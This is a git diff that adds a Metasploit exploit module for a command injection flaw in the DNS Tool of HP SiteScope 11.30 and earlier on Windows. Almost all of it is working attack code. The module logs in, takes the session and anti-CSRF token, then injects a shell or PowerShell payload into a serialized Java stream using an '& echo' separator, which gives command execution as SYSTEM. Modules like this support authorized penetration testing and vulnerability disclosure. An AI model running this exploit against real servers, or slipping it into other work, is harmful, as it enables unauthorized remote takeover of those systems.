diff --git a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb new file mode 100644 index 0000000000..b5f8e8b7af --- /dev/null +++ b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb @@ -0,0 +1,196 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/powershell' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => 'HP SiteScope DNS Tool Command Injection', + 'Description' => %q{ + This module exploits a command injection vulnerability + discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26 + and 11.30). The vulnerability exists in the DNS Tool allowing an + attacker to execute arbitrary commands in the context of the service. By + default, HP SiteScope installs and runs as SYSTEM in Windows and does + not require authentication. This vulnerability only exists on the + Windows version. The Linux version is unaffected. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author + 'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery + 'Juan Vazquez' # help with MSF module + ], + 'References' => + [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'], + ['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher', + { + 'Arch' => [ARCH_X86_64, ARCH_X86] + } + ], + [ 'HP SiteScope 11.30 / CMD', + { + 'Arch' => [ARCH_CMD] + } + ] + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 9 2015')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']), + OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']), + OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) + ], self.class) + end + + def exploit + initial_session = get_initial_session_id + redirect = authenticate(initial_session) + session = get_authenticated_session_id(initial_session, redirect) + csrf_token = get_csrf_token(session) + + print_status("#{peer} - Executing payload") + random_mark = Rex::Text.rand_text_alpha(5 + rand(5)) + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'), + 'method' => 'POST', + 'vars_get' => { + 'OWASP_CSRFTOKEN' => csrf_token + }, + 'cookie' => session, + 'ctype' => 'application/octet- serializable object', + 'data' => build_stream(random_mark) + }, 5) + + if res && res.code == 200 && res.body + res_io = StringIO.new(res.body.to_s) + res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io) + return if res_stream.nil? + show = false + res_stream.references.each do |ref| + if ref.class == Rex::Java::Serialization::Model::Utf && show + print_good(ref.contents) + next + elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark) + show = true + next + end + end + end + end + + def get_initial_session_id + print_status("#{peer} - Retrieving an initial JSESSIONID...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'), + 'method' => 'POST' + ) + + if res and res.code == 200 and res.get_cookies.include?('JSESSIONID') + session_id = res.get_cookies + else + fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed") + end + + session_id + end + + def authenticate(session_id) + print_status("#{peer} - Authenticating on HP SiteScope Configuration...") + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'), + 'method' => 'POST', + 'cookie' => session_id, + 'vars_post' => { + 'j_username' => datastore['SITE_SCOPE_USER'], + 'j_password' => datastore['SITE_SCOPE_PASSWORD'] + } + }) + + if res && res.code == 302 + redirect = URI(res.headers['Location']).path + else + fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed") + end + + redirect + end + + def get_authenticated_session_id(session_id, redirect) + print_status("#{peer} - Following redirection to finish authentication...") + + res = send_request_cgi( + { + 'uri' => redirect, + 'method' => 'GET', + 'cookie' => session_id + }) + + if res && res.code == 200 && res.get_cookies.include?('JSESSIONID') + auth_session = res.get_cookies + else + fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed") + end + + auth_session + end + + def get_csrf_token(session) + print_status("#{peer} - Getting anti-CSRF token...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'), + 'cookie' => session + ) + + if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/ + csrf_token = $1 + else + fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token") + end + + csrf_token + end + + def build_stream(random_mark) + site = "google.com & echo #{random_mark} & " + if target.arch.include?('cmd') + command = payload.encoded + else + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + end + + file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw') + + f = File.new(file, 'rb') + stream = Rex::Java::Serialization::Model::Stream.decode(f) + f.close + + dns_param = stream.references[0x44] + dns_param.contents = site + command + dns_param.length = dns_param.contents.length + + stream.encode + end +end